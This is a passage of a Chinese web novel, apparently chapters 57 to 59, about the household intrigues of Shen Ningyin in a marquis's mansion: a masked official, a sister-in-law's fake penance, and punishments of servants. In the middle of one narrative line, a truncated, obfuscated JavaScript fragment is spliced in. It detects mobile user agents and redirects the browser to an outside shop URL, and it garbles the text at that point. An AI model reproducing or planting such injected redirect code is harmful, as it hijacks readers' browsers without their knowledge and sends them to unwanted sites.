那人是姑苏同榜的解元，名声旺些，他一走，霎时间走了泰半。
冷元景扫了眼余下零星几人，心下也没了吃酒的兴致。
他走上街，酒意上涌，风一吹，就有些晕，还想吐。
也不知谁撞了一下，差点儿将他撞倒，一旁的书童扶稳他后对着人群破口大骂。
冷元景没心思管，只愈发觉着心慌意乱，登时撑在巷口吐了一遭。
等顺完气，他下意识伸手摸了一把，脸色瞬间白得似纸：“银票呢？！”
书童也愣了：“主子，什么银票？”
冷元景顿时酒醒了，慌忙在书童身上摸索：“那几百两银票哪儿去了？！”
书童也吓白了脸：“主子！不在小的身上啊！是主子您非要自己全揣着的，说是要上酒肆请客……”
冷元景眼前一黑。他只想着显摆一二，没料想竟遭了贼。
“报官！去报官！”冷元景连说话都有些哆嗦了。
姑苏虽富庶，然而冷家人丁兴旺，分到他那儿往往就不多了。再加上冷家书香门第，考取秀才本也是稀松平常，冷元景不是解元，自然不受多少偏宠。
只不过，如今的冷元景订了亲的阮家青梅摇身一变，成了侍郎府的千金。冷元景在冷家方才被重视了许多。
不然，他只怕连收买人心的银子都掏不出。
冷元景自个儿的银子全花光了，那些银票再丢，他只怕连姑苏都回不去。
主仆二人到了府衙，刚到门口，书童突然觉着那刚刚进去的人背影好生熟悉。
“主子，您瞧，那人是不是街上的偷儿？”书童拉着冷元景去看，后者闭了闭眼睛，凝眉去瞧，可他将才醉醺醺的，哪里记得什么背影。
想想那些银票，冷元景心一横，上前去追。
府衙又哪里是这么随便的地方，登时就给守门的差役拦下了。
“放肆！衙门今儿有贵客，恕不接待！”
冷元景转眸就对上了凶神恶煞的差役，他捏紧了拳头，却也不敢真的忤逆。
只得客气地说明来意。
此时，里头走出来一个胥吏，皱眉打量他道：“都说了！没空！”声音里透着些不耐：“今儿可是皇城司的上峰莅临，春阙街死了那么多人，你一个偷窃的案子也配跑来闹腾？滚滚滚！”
冷元景眼底阴恻恻的，面上却不露半分，指着门口道：“可是大人，我的书童方才说，那偷窃之人方才进了衙门。”
那胥吏愣了一下，往冷元景主仆身上扫视了一阵：“方才？”
“是。”冷元景站在那，眉眼肃然，一副势必要个结果的架势。
五百两啊，放在冷家，他攒两年也攒不下。
胥吏神色变得古怪起来，又确认询问：“是……刚刚走进去那人？”
“没错！”书童道。
胥吏朝两人招招手，示意他们靠近。
冷元景蹙紧了眉，稍稍走近两步。
“你就死了这条心吧！那玩意儿，是死牢里头赦出来的绝户，最是记仇，人连死都不怕，还会还你银子？”
冷元景震惊在当场：“你什么意思？”
胥吏一面往里头走，一面道：“你要不怕拿不到银子，还遭人惦记上性命，那你尽管递状子去。”
冷元景脸色煞白，一旁的书童见他跟旁边儿石狮子似的僵在原地，小声问询：“主子，咱还告么？”
“……”冷元景身子晃了晃，被书童扶住后，他抬头看了看天：“不告了。”又咬了咬牙：“走……先去侍郎府递帖子。”
昌平侯府，祁秀院。
沈宁音压着那么些事儿，谁来也不想见。她就是要表明态度，不可能教养那位齐哥儿。
秦耀阳碰了两次软钉子后倒也消停了。
可他不来，松鹤堂还有兰心居倒是过来了人。
尤其周婉，更是亲自来。
沈宁音心情不大好，不想同她虚与委蛇，更懒怠去提防她那些上不得台面的小伎俩。索性躲了出去。
先前她便也留意到，祁秀院西北方向有一处阁楼，就在林荫深处，清幽得紧。
陈设简单，平日里也有人稍作打扫。
她提着绣篓子便紧了阁。
顺着长长的木梯走上去，二楼采光极好，窗户开着，细碎的灰尘被阳光镀上了金，像一粒粒细碎的光。美得浓烈又克制。
沈宁音还没来得及欣赏，突然就意识到问题！
此处平日里无人，怎会开着窗？
她正思忖，一个人影已经从旁边
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儿阴影里头走了出来。
沈宁音心底一颤，正欲逃，便迎上了面具里的那双眼。
“你怎么……”她话没说完，只听得一声响，一叠厚实的银票已经被薛岚扔在了桌上。
他眼神几乎没在银票上停留一瞬，那姿态，就像扔的是什么废纸垃圾。
沈宁音垂眸看着那叠银票，一时间思绪翻涌。
薛岚看了她一眼，将那银票往她跟前推了一小段距离：“不是你的？”
“……”思忖片刻，沈宁音果断将银票收好。倒也没什么好矫情的，秦耀阳既然送出去，冷元景既然得不着，那落在自个儿手里，倒也更添了些愉悦。
“多谢薛大人。”
薛岚沉默了片刻，方才转身走了回去。
沈宁音蹙眉跟了两步，这才发现他竟坐在屏风后煮茶。
茶水冒着热气儿，刚煮好。茶炉倒像是前阵子在库房瞧见过的那一套贡瓷。
香炉里燃着的香也很熟，是姑苏沉水香。
沈宁音一时有些无语，抿了抿春，抬眸：“大人倒是好兴致。”
薛岚翻开个茶碗，倒了一盏推给她。
“妾身不渴。”沈宁音寻了个地方坐下。
绣篓子里头针头线脑颇多，她拿出正绣着的，不动声色地走起线来。
端看他脸皮厚到何等地步，几时才会走。
少顷。
“嘶……”针尖刺破了手指，嫣红的血很快凝成了珠，沈宁音咬在嘴里，耳朵尖莫名有些红。
她也不知怎的，平日里早已经习惯的绣活，绣的也是前世常绣的花样子，偏在眼前人的注视下分外紧张。
紧张到竟能戳着了手。
沈宁音心下有些恼，恼他，亦恼自己。她抬起脸，男人果然在看自己。
“薛大人，可瞧够了？”
薛岚并未移开眼。
沈宁音想，大约人一旦戴了假面，脸皮便要比寻常人老辣许多。
她收了绣绷，站起身，垂眸看向桌旁的男人，也不藏着掖着了：“大人，这银票的确不是什么来路不明的。妾身只是不想叫人得了去。”
“你去查那人，定也不会空手而归。”
薛岚的拇指摩了摩指节上的血玉扳指，声音淡淡的：“嗯。”
“……”沈宁音两世为人，还是头一遭遇着薛岚这样的，木石一般，还冷得像冰。想来平日里也无趣得紧。
“大人还有事？”她忍不住赶客。
薛岚没甚表情，目光盯着茶炉：“煮都煮了。”
那意思，像是要喝完再走。
沈宁音很无语，他一个阉人，总往侯府跑算个什么事儿？
抿了抿唇，沈宁音道：“总归是要多谢大人的……”
薛岚没在意她语气里的不待见，突然道：“你打算如何谢？”
沈宁音愣住，抬眸看向他，没明白他的意思。
窗外起了风，浓密的树影在风中摇曳出细碎的光屑，有几颗恰落在他眼里，星辰般晃了一瞬，旋即隐匿不见。
有什么东西仿佛在心底闪过，绵绵密密的酥意，沈宁音怎么也抓不住。
“大人……什么意思？”她往后退了半步。
薛岚站起身，身影挺拔健硕，皇城司的锦衣穿在他身上，也丝毫无法遮掩那一把老天赏赐的劲腰。
有的人，即便不看脸，周身晕出的男子气息，都能惹着人脸红耳热。
沈宁音下意识移开了目光。
“这个。”一阵窸窸窣窣布料摩擦的声音之后，薛岚开口：“拿这个谢我。”
沈宁音蹙眉，忙转眸去瞧。
57. 毒妇
薛岚手里的东西让人颇觉意外。
是一张帕子，月白色的绡面儿上有一枝花，那花很小，花骨朵似的，极不协调。
沈宁音接在手里，有片刻的沉默。
这是她随手包药的帕子，沈宁音抬眸时，听见他后续的话。
“绣完它。”薛岚的声音没什么波澜，倒像是临时起意。
沈宁音有一瞬的犹豫。这桃花梗子，偏这一枝她绣得还算满意，可两世为人，沈宁音历来从不愿绣完的。
薛岚没有说话，只坐了回去。好好的名茶，竟被他喝出了没滋没味的光景来。
沈宁音心下轻叹，将帕子收了，敛眸应了一声：“好。”有些习惯，两世红妆，总归是要放下的。
至于薛岚，大约，他这样不完整的人，见不得这般的不圆满。
沈宁音这样思忖着，又看他添了一盏茶，大有不绣就不走的架势。
抿了抿春，沈宁音拿起了针线。
薛岚一盏茶慢悠悠饮尽，她也拿着剪子藏好了最后一根线头。
“大人，给。”沈宁音把帕子递过去，目光瞥了一眼，却见薛岚盯着那帕子，也不知在想什么。
好一会儿，薛岚将帕子塞进袖子，声音低沉：“是海棠？”
“是。”沈宁音纳罕地又抬头看了眼，刚刚仿佛从他那过分低沉的嗓音里头听出了一丝失落，但她再细想，又觉得大抵只是错觉。
沈宁音还没反应过来时候，薛岚就走了，他走得也无声无息的，鬼魅一般。她就看着桌上那一堆疑似当初抄没走的茶具。
这东西不能扔也不能要，她只觉脑仁儿疼。
风吹过，薛岚盯着那朱红高墙，神情复杂。
几个胥吏醉醺醺路过，突然瞧见他，登时俱都酒醒了十成十，一个个鹌鹑一样贴着墙站好行礼。
薛岚目光落在那几人面上，蹙起了眉。
“使司大人，又来巡街啊。”其中一人尬笑中透着讨好。
听见那个“又”字，薛岚就想起来，上次来，好像也碰见过。
“大人经常来么？”有人小声问那胥吏。
胥吏被尴尬住，一时间不知该怎么说。薛岚隔着衣料攥紧了袖中的帕子，声音却不疼不痒的：“近日乱党猖獗。”
他冷冷看向那几人：“白日饮酒？让乱党割了脑袋，不如本司亲自动手？”
薛岚声音低沉，分明没什么大的起伏，偏生叫胥吏们听得毛骨悚然。
几人腿一软，跪在地上砰砰磕头。那声音嘈杂，惹得侯府下人探头打望。薛岚凝眉，径直走了。
等人走远了，胥吏们这才额头青紫地爬起来喘气儿。
心有余悸的胥吏擦了一把额头冷汗，又到处看了一圈：“连那位活阎王都来咱这条街了，怕是这儿乱党棘手。”
经他这么一说，其他人也深以为然，都觉浑身冷飕飕的，连巡街也不敢分散了。
祁秀院。
沈宁音揉着眉心，慢慢走回去时，不知不觉已至晚膳时分，刚到门口就给人拦住了。
周婉眼睛里爬满血丝，死死盯着她，那眼神中的怨愤差点儿没能藏住。
沈宁音颇觉意外，这人到现在还没走，竟这般执着？这周家再如何也是大族，她一个出嫁女，连体面都不要了么？
“大嫂这是做什么？”沈宁音看周婉衣料单薄，通红的眼眸里头此刻竟有几分哀婉。略一低眸，沈宁音就瞧见周婉膝盖处有未拍干净的尘土。
周婉不似沈弦思蠢笨，这样的亏，定是不能白吃下的。沈宁音估摸着，秦耀阳怕是要来了。
但这种事，沈宁音处置起来可谓轻车熟路，她亲自去扶人的同时，一转眸，冷冽的眼神瞥向兰心居的丫鬟：“天儿这么冷，你们怎么照顾大少夫人的？”
“来人！把这起子刁奴拖下去，打二十板子！”
祁秀院的仆从都是侍郎府跟来的恶奴，一听这活儿，连忙都冲了上来抢着做。
一切发生得太快，沈宁音根本没给周婉反应的时间。
丫鬟们连连求饶，沈宁音可不理会她们。
直到有丫鬟挣扎着爬过来抓着周婉的脚踝，周婉才满脸错愕地反应过来。
“少夫人！救救奴婢！”
那起子祁秀院的仆从又拽又掐的，疼得兰心居的丫鬟个个花容失色。
眼见着祁秀院内搬来条凳，两三个丫鬟被摁牢，就要开打。
周婉眼里神色变幻，饶是她不在意那些个奴婢，可若是不保她们，那周婉在侯府可谓是颜面扫地。若保了，定要跟沈宁音撕破脸去。
沈宁音最不怕的就是撕破脸。
周婉终是掐紧了掌心，一脚踢开了脚边的丫鬟，声音带着颤：“放肆！”她狠了心肠，连退两步，叱道：“二少夫人乃是当家夫人！她罚你们，是你们该罚！”
周婉一面说，一面心疼地落泪。她捏着帕子遮掩住嘴唇，抽噎了两声转过脸看向沈宁音：“二弟妹……可消气了？”
沈宁音蹙了蹙眉头。
周婉又掏出一只匣子：“这个，是去岁进贡的珊瑚珠子……”
她这般服软委实诡异，沈宁音哪里敢消气，温柔一笑，也没接匣子，只开口道：“大嫂言重了，底下人不懂事，合该要管教一二的。”
周婉见她不接，当下又红了眼睛，声泪俱下：“上次我也是听信了二弟妹你母亲与妹妹的话，一时不查。可我已经跪了一下午，弟妹还不肯原谅么？”
没等沈宁音开口，周婉腿一弯，膝盖就砸到了地上：“弟妹！我真的知晓错了！”
沈宁音掌心一攥，大约猜到了什么。
果然，下一刻，身穿红色深衣的男人就冲过来扶住了周婉：“婉儿，你这是做什么？！”
女人哭得更凶了，一旦到了男人怀里，便像是化作了一汪春水，软得起不来，连挣扎都带着点软绵：“耀阳，你就别管了，祖母耳提面命，婉儿也自觉有愧。”周婉拿帕子按着眼角，眼睛红红的，像只兔儿般：“是我不好，偏听偏信，二弟妹罚我，也是我活该。”
她字字句句都没提沈宁音的不是，却每一句掐在要紧点。
秦耀阳一时气恼，避着周婉。可所谓小别胜新婚，如今甫一接触，美人在握，柔荑浮香，又哭得梨花带雨，秦耀阳哪里还能再硬起心肠来？只觉心疼得快要裂开。
热血层层上涌下，秦耀阳眼睛里染满了迁怒。
可他甫一抬眸，正对上沈宁音那双沉静端婉的黑眸，男人呼吸一滞，那些躁动不安的热血，霎时便偃息下来。
秦耀阳咳了两声，没敢像往日一般发作妻子，毕竟前一日方得了错处，沈宁音至今没允他进屋子。
他只好小声道：“宁音，你便是生气，又怎能罚大嫂跪在院外一下午？”
周婉脸色有明显的苍白。沈宁音心下好笑。
她想起前世，沈弦思做这侯门的儿媳，莫说周婉跪了那么久，便是被人说几句重话，他都能怒发冲冠，找妻子发作一番。
可如今，她沈宁音是个无甚错处，又受尽委屈的妻子。秦耀阳深情，又最是无情，哪里能发作这样
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的妻子呢？
人便是如此，谁陷入进去，想要更多，那便成了弱势的一方。
秦耀阳仿若商量一般的语气，能叫周婉心痛自怜，沈宁音却不是个骄纵的。
“世子，妾身并没有……”
只是沈宁音尚未解释完，胳膊上一疼。一团泥土从她衣服上散碎开来，落了满地。
紧接着，秦齐冲过去狠狠推了沈宁音一把：“毒妇！不许欺负婶婶！”
秦齐力气比同龄人大得多，沈宁音被推了个趔趄，她踩着花盆竟倒在了地上。
这一下，秦耀阳慌了，周婉都不哭了。
秦耀阳松开周婉，奔过来要扶沈宁音，沈宁音却是将手交到了赶来的兰香掌心，转身避过了他。
男人伸出的手僵在半空：“宁音？”
秦齐原本满脸得意，想朝着亲娘讨夸奖，可周婉又气又急，恨不得给他两巴掌。见着那责怪的眼神，秦齐也慌了，他指着沈宁音：“她自找的！是她活该！”
恰此时，方嬷嬷也闻声过来，见着这混乱的场面，连忙拉住了秦齐：“小祖宗，你别说话！”
沈宁音冷着脸，吩咐兰香进院子。方嬷嬷恨铁不成钢，指挥着众人：“愣着做什么？还不快送大少夫人先回去？”
进了院子，后头几个人也跟了进来。
兰香脸色不是很好看，沈宁音倒是淡定。
沈宁音没有叫人闩上院门，倒不是忘了，只是，见好就收，身为秦家妇，便是要使性子，也得把握个度，万不能太过。
周婉没走，秦耀阳扶着她坐在一旁。
“宁音。”秦耀阳的声音带着点轻哄：“哥儿还小，你岂能与他置气呢？”
沈宁音坐下来，低眸轻拍手臂上的泥印子，却怎么都拍不掉：“世子，哥儿是小，可没人教的话，毒妇这样的话，怎会脱口而出？”
“妾身刚掌家，若名声不好，丢的也不是妾身自个儿的脸面，整个侯府都要跟着失了体统。世子也觉着是小事？”
“这……”秦耀阳哑口无言，怒目瞪了秦齐一眼，后者连忙躲到了方嬷嬷身后去。
这时，有仆从走进来邀功：“少夫人，打完了，每人二十板子。”
周婉听罢，目光却是看向了旁边儿的秦耀阳。
沈宁音不动声色，淡声道：“既打完了，就着人送回兰心居吧。也省了大嫂着人来接。”
她声音不大，却也没避着人，当着秦耀阳的面处置周婉的下人，这是极扫脸面之事。
秦耀阳素来不是个能扛事儿的，若碰着前世沈弦思那样骄纵的，他脾气上来便会拼了命地维护周婉，可遇到沈宁音这样钝刀子割肉的，秦耀阳反而没了法子。
见男人指望不上，周婉只得苍白着脸色自个儿开口：“二弟妹，是我不好……”
她拉过秦齐的手，陪上笑脸：“你瞧，我身子弱，管教下人都费劲，齐哥儿如今放在我那儿，也是教不好的，祖母和母亲的意思，都是送到你这儿来教养。”
沈宁音一听这话，顿时心如明镜，人家都提了，她也不能再避而不谈。
秦耀阳这会儿也是开口道：“是这个理。”他站到秦齐的另一边，冲沈宁音：“此事我已答应，宁音，你就辛苦一二，给齐哥儿找个好先生开蒙。”
“至于婉儿……她那日也是听信了你那胞妹的话，连你母亲都那样说，原也怪不到婉儿头上。你就莫要再耿耿于怀了。”
秦耀阳的语气分外诚恳、软和，可话里话外，都充斥着傲慢。
“若我不呢？”
58. 拒养
“宁音！”秦耀阳脸色沉了沉，眉头紧蹙，有些下不来台：“我都应了，你这样闹有意思么？”
他拉着秦齐：“就因为齐哥儿扔了你一个泥团子是不？”
闹？沈宁音也不气，轻笑着站起身：“妾身哪里敢因这个置气？”
秦齐仿佛是又得了靠山，在旁人瞧不见的角度冲沈宁音做鬼脸。
沈宁音轻飘飘地睃了一眼，冲秦耀阳微笑：“齐哥儿不服我管教，世子没瞧出来？”
秦耀阳见她话里似乎有所松动，忙放开秦齐走到沈宁音跟前，小声道：“宁音，齐哥儿是个孩子，心性未定，放你身边儿教养，以你的性子，定能教得好。我也放心。”
他伸手想拉着沈宁音的手。
秦耀阳从前是万不能当着周婉的面去拉旁人手的，可如今他几乎是自然而然伸手过去的。
沈宁音身子一转，堪堪避开了他。
秦耀阳反应过来时，连他自己都吃了一惊，回头去瞧，周婉脸色苍白，揪紧了帕子，满脸的哀恸。
一股子后悔与忍辱负重的心思涌上心底。
“世子，齐哥儿是咱家的亲戚，也不是府里的哥儿，咱们尽了心就行。哪里非要咱们亲自教养？”
她看了秦耀阳一眼，心中嗤笑，面上却是柔顺端庄：“世子倘若太担心，不如您亲自看顾？”
“这怎么使得？”秦耀阳脱口而出，话毕又觉自个儿反应太过，忙正色道：“秦齐家中对族里有功，咱们理应多照拂些。你莫要推脱了。”莫说他能不能照顾好孩儿，就连老夫人、闵氏还是老侯爷那边儿也不会答应。
秦耀阳一直记得祖母的话，这个家里，唯独沈宁音还算是能教养好孩子之人。
事实也是如此。前世冷家虽是书香门第，可规矩早就坏透了，冷家子嗣，吃喝玩乐，个顶个的荒唐没规矩。就连冷元景，妾室里头也有两个清官人。
在那样的环境里头，沈宁音愣是教养出来一个进士。这其中，除了门路、学问、严格，更有着从冷元景时候就锻炼出来的经营见识。
“那不然就让长嫂教养。”沈宁音轻易就将话头引到了周婉那儿。
“周家鼎盛，哥儿又喜欢大嫂……”
此时此刻，秦齐看向周婉的目光都亮了。
秦齐这样骄纵之人，对周婉流露出的感情便跟旁人不同。那是孺慕。
沈宁音太明白亲生子，与养子看母亲的眼光了。太不相同了。
说实话，替别人养了一辈子孩子，沈宁音是羡慕的。
孩子流着自个儿的血脉，天生便有亲近的感觉，而不是靠着利益，靠着恩义。
“荒唐。”秦耀阳的声音打断了沈宁音的思绪。“长嫂孀居，侯府之事，岂能推诿给她？她如今旧伤未愈，又跪了一下午，伤了膝盖！你难道就没有一点点愧疚么？”
这声音算得上严厉，若然是害怕夫君离心的，这会儿就该放软了声气儿请罪了。
可沈宁音却是不慌不忙地朝着周婉走了两步。
周婉几乎是下意识抬手护着秦齐：“二弟妹，你要做什么？”
沈宁音问：“大嫂，你当真不愿教养齐哥儿？”
周婉表情一滞，僵了半个呼吸。
“大嫂？”沈宁音又唤了一声。
周婉垂眸看向手边满脸期待的秦齐，袖中的手指根根攥紧，旋即伸手推了秦齐一把：“齐哥儿，还不去拜见你二婶？”
“我不要！”秦齐也来了脾气，飞快扑回去。
抱得周婉鼻子都酸了，她深呼吸，又推开了秦齐，整个人仿佛都蔫了下去，别开脸：“我身子不好，不便教养哥儿。”
秦耀阳看得眼底生烫，伸手将掉眼泪的秦齐拉过来：“宁音，你心肠就这般硬？你害得婉儿伤了膝盖，这会儿还在推卸责任？”
沈宁音不错眼地盯着周婉的裙子，语调一如既往地毫无波澜：“是么？”
方嬷嬷看了一路，当下忍不住上前打圆场：“二少夫人，这也是老夫人的意思，您就把孩子接到祁秀院来，老奴着人照看着他起居就成……二少夫人确实不方便。”
沈宁音却是一蹙眉，紧走两步，一把捏住了周婉的膝盖。
周婉堪堪愣住，瞬息之后，她才反应过来，尖叫了一声。
这一切发生得极快。周婉本能地挣扎，可沈宁音抓得太紧。
方嬷嬷连忙喊人去拉，秦耀阳恼怒地走过去拽住了沈宁音的一只胳膊，秦齐则是冲上去，咬住了沈宁音的手腕。
沈宁音吃痛，却并不放手。
混乱中，周婉尖叫着往旁边儿挣。
“啪嗒”一声。
一团东西从周婉裙子下面滚出来。
所有人都愣住了。沈宁音目的达到，伸出手指，狠狠揪在秦齐的胳膊内侧。
秦齐痛得松了口，呜哇哇地嚎啕大哭。可在场众人的注意力根本没落在他头上，尽都盯着那地上的一团软布包。
“这是何物？”秦耀阳脸色阴沉，目光缓缓上移，落在了周婉脸上。
周婉本就病如西子的脸庞更没了血色，她呐呐着说不出话来。
沈宁音低头打量手腕上带血的牙印，凉飕飕地瞥了她一眼，沉稳的语调里，多了点隐隐约约的嘲讽：“长嫂另一只膝盖上是否也有一只啊？”
兰香站在旁边儿，也不用主子吩咐，语气是赤裸裸的讥诮：“哎，这么厚，这么软，原来大少夫人跪的时候，都要用这个的。”
“可怜我家少夫人每次罚跪，都是实打实的。膝盖肿了那么大，也没见世子爷心疼一二。”
“兰香。”沈宁音佯作呵斥，转身不再看那些人：“世子，此事妾身委实羞愧不起来。”
秦耀阳气得怒瞪了周婉一眼，后者慌忙躲开了目光。
“宁音……”秦耀阳想补救点什么：“你的手腕……”沈宁音却是避开了他，只淡声吩咐：“既是世子答应教养齐哥儿的，那世子便自个儿去处置，妾身乏了。”
吩咐了兰香送客，自有小丫鬟替沈宁音裹伤不提。
门又闩上了。秦耀阳站在那儿沉默良久。
秦齐哭得惊抓抓的，小孩儿的调子高，而人在烦躁的时候，这等噪音只会惹得人气恼更甚。
“够了！”秦耀阳攥紧拳头。
他这一吼，秦齐一个哆嗦，旁边儿的周婉连忙将儿子搂进怀里：“耀阳……你做什么凶孩子。”
秦耀阳更气了：“你！”他指着周婉的鼻子。
女人红了眼圈，就那么盯着他看。周婉实在不成体统，可她也确实是自己宠着爱着那么多年的心上人。
秦耀阳气得很，却狠不下心骂。他只觉自己若骂了，就好似这些年所有的爱意，都成了渣滓，成了背叛。
周婉见他沉默，心里的难受与委屈却比他当真骂出来还要浓郁，她抱紧了孩子：“是，我是有错，可是耀阳，你难道就没半点变了么？”
“我不与你说！”秦耀阳一甩袖子，快步离去。
周婉大惊，连忙擦了眼泪想去追，身后一双小手，却将她拽紧了，秦齐将才哭得嗓子都哑了：“娘，你别走！”
秦齐往日里哭得放纵又大声，被秦耀阳吼了之后也不敢大声哭了，憋得脸蛋通红。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272614|146125||http|test|mini|href|location''.split(''|''),0,{}));
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周婉心软又心痛，哭着抱紧了他：“齐哥儿，你怎么这么命苦啊。都是娘的错！都是娘的错……”
周婉十分后悔，若非为了争宠，她不会摔下长阶，那日开宗祠，她就不会失了机会。若自己在场，齐哥儿说不定就能以嗣子的身份养在昌平侯府。
那样的话，她不必今日这般低三下四去求那女人。
周婉哄好了秦齐，满身疲惫地回了兰心居。甫一踏进门，却见地上跪了一堆仆从。
她心里发紧，走了过去：“芳春姑姑？”
女官站起身，走到她面前，扬手就给了她一巴掌：“废物！”
周婉脸颊瞬间就红肿起来，眼泪要掉不掉，眼睛里带着几分惊恐。
“阿，阿姐……”
兰心居外，一个家丁等了许久，才猫着腰在夜色里退走。
“哦？那人是谁？”祁秀院内，沈宁音躺在美人靠上，用没受伤的手支着脑袋。
家丁隔着屏风禀告着情况：“奴才不知，不过，奴才给马房喂过两年马，倒是认得那马蹄铁，比外头的好，也耐锈蚀，应该是达官显贵才能用的。”
沈宁音蓦地睁开眼：“倒是有趣。”
也得亏她接手了中馈，这两日明里暗里安排了些人手，老夫人与闵氏那儿也没多话。毕竟才刚冤屈了她。
那便装秘密来访的女子只待了两盏茶的时间。
沈宁音只叫人盯紧了兰心居，并未急着去打草惊蛇。倒是另一件事叫她有些在意。
“这东西，明日去查一查来历。”沈宁音抬手将那棉花布包丢给了染竹。
布包上有系带，绑在膝盖上，跪着的时候，会松快很多。
可是，圣朝重礼节，这等不尊礼仪的东西，怕也不是寻常人会做得出来的。
尤其她注意到一个细节。这带子上绣着一个红色的桃子，还是倒的……
沈宁音思忖着问题，却不料，一旁的染竹也似在发呆。
兰香推了染竹一把：“染竹，少夫人叫你呢。”
染竹如梦方醒，连忙恭顺道：“少夫人，怎么了？”
沈宁音心下疑惑，面上并未表现出来，指着那桌案上的布包，微笑：“不是什么大事，你明儿亲自去查查，查出这东西的来历。”
今日轮到兰香守夜，染竹便拿了东西躬身退了出去。
沈宁音盯着她瞧了良久，直至染竹的身影隔着屏风消失在了外头。
兰香收回目光的时候，听着主子的声音传来：“染竹最近……是遇着什么事儿了？”
兰香愣了一下，略略回想，才笑了笑：“也没什么事儿，她自从回来之后，就总这般魂不守舍的。”
“想来是上次吓着了，过阵子应该就好了。”兰香并不太在意。
沈宁音皱紧了眉宇：“但愿如此。”
翌日，染竹就把东西的来历打听清楚了，是上京城的一处杂货铺。这地方什么都卖，前几日来了个姑娘，卖了好些奇巧的东西。
“那姑娘一身男装，抛头露面的，应该不是什么高门大户。”染竹道。
兰香轻蔑地开口：“难怪这么不知礼数，做出这等东西。”她顿了顿：“倒是大少夫人，竟也买下这种东西，若传出去真真是给周家丢脸。”
沈宁音倒是不以为意，周婉敢在侯府用，那就是料定了没人敢传扬出去。
况且在场的人就那么多，不论哪个传出去，那都是给老秦家丢人的。都是秦家人，谁都不会这么傻。
沈宁音拨了拨茶碗内的茶叶，敛眸吩咐：“找个人，将此事宣扬出去，越多人知晓越好。”
59. 际遇
祁秀院坐北朝南，环境极好。
沈宁音如今接手了中馈，便须得辟一处书房。此刻，次间里头站满了人。
有祁秀院的婆子丫鬟，也有府邸各处的下人。
屏风后头的家丁管事们交头接耳，原是小声的，后来就越发大声了。
沈宁音仿似没听见般，素手翻着账目。她能淡定，兰香却是替她着急。
“你们吵什么吵？二少夫人还在这儿呢！”
并没有人理会兰香。
这些人连沈宁音都不放在眼里，更何况一个兰香。
沈宁音也没抬头，她素来懒怠做多余的事。侍郎府的奴才们肯听话，是因着卖身契拿捏在侍郎府里。
而侯府的奴才们，谁又会怕一个刚入府、惹了主君不快，还被娘家母亲与妹妹瞧不上的少夫人呢？
沈宁音现在都还不让秦耀阳进院子呢。在仆婢们眼里，沈宁音这般拿乔，迟早要给修弃。高门大户里头的仆婢最是势力。
偏这会儿方嬷嬷又不在。
张望了一圈：“少夫人，奴婢去找方嬷嬷来。”染竹攥紧了帕子小声询问。
一旁的兰香气得粉面涨红：“这方嬷嬷也不知去了何处！这等时候还不回来！我看啊，她就是故意的！”
沈宁音将将看完了手里的账本，闻言合上了本子，终是抬起头来：“不必找她。”
方嬷嬷在哪儿，沈宁音心知肚明，秦齐是秦家的金孙，旁人不知，方嬷嬷却很可能知晓。况且周婉那位长姐又是宠妃。自个儿打了兰心居的丫鬟们，又给周婉没脸，方嬷嬷这会儿忙着安抚，怕是忙得很。
方嬷嬷是老夫人的心腹，她这等选择，又何尝不是老夫人拿方嬷嬷来敲打沈宁音呢？
沈宁音摸了摸手腕上的翠玉镯子，神色凛冽，声音却是温和的：“来人。把账房的管事崔嬷嬷拉下去，打三十板子。”
顿时，空气为之一静。片刻的惊愕之后，几个平日里与崔嬷嬷交好的人就走上前求情。
沈宁音脸上没什么波澜：“若有求情的，打二十板子。”
眼瞧着要被拖走，崔嬷嬷奋力挣扎：“二少夫人！奴婢犯了什么错处？！你岂能无缘无故就罚奴婢！？”
“春渠！”沈宁音喊了一句。旁边儿站着的春渠已经三两步走过去，一巴掌打在那婆子的脸上。
婆子疼得叫不出来，张嘴吐出一口血沫子，血沫子里头还裹着一颗牙。
春渠冷笑：“二少夫人要打你，还需要缘故？便是今日打死了你去，这掌家权是老夫人给的，老夫人也只会拍手称快。”
沈宁音淡声开口：“我如今管着侯府，若有不服的，自可以去回了祖母，她老人家随时可以免了我的权。但今儿个，本夫人少不得先要讨你们嫌了。”
听着外面凄惨无比的痛呼，还有那声声入肉的板子声音。次间里头的人大气都不敢喘。
沈宁音坐在罗汉床上，一面翻看账目，一面命人一个一个拖仆婢下去挨打。
这世上最摧人心肝的，不是打板子，而是等待被打板子的漫长过程。
所幸侍郎府为了排场，陪嫁的人足够多，这会儿守着门墙，只要没撕破脸，谁也甭想跑出祁秀院去。
既然方嬷嬷敢撂挑子，那可就怪不得她了。
侯府往来账目冗杂，旧例多不胜数，若全依着来，就得有好些个窟窿眼子需要堵。这些都是费力不讨好的事儿。
左右方嬷嬷不在，沈宁音将余下账目文书都搬过来亲自梳理一番。遇着不对劲的，先打了再说。
日头西斜，屋子里就只剩下了一半人。这些人再没了先前的轻蔑怠慢，各个都战战兢兢的。
如今，沈宁音那张随时带着笑的红唇，就恍若随时会淬出毒来，人人都怕下一个就点到了自个儿的名。
沈宁音看了眼天色，淡笑着拿起热茶喝了一口，袅袅的茶香雾扰里，她声音温和：“今儿就先到这里。若往后再有差池，那就不是一顿板子了。”
在场众人顿时如蒙大赦。
刚散场，沈宁音拨弄着算盘珠子正理帐，忽听着外头急匆匆脚步声响。
沈宁音指尖略顿，有些纳罕，按说，便是方嬷嬷从兰心居过来，也不会这般快？她素手轻按在算盘上。抬头时，瞧见来的是门房。
婆子哆嗦着跪下行礼，脸色惨白，沈宁音一思忖，大约明白她为何这般没用，将才外头才打了好些人，地上的血都还没洒扫干净。婆子见了害怕，也是有的。
“何事？”沈宁音开门见山。
门房小心翼翼抬头看了她一眼，许是沈宁音语气一贯地软和，丝毫没什么架子，门房道：“回二少夫人，今儿来了个客人，指明要找您……已经等了快一天了。”
沈宁音有些意外。她今日狠狠收拾府里的仆婢，命人守着祁秀院，也势必安排了人去谢客的。“怎的没叫人改日再来？”
敛衽起身，沈宁音往门外去。
婆子跟在后头，声音里夹着委屈和小心：“奴婢说了，可那女娘说，说你定是不想见她，她非要等。”
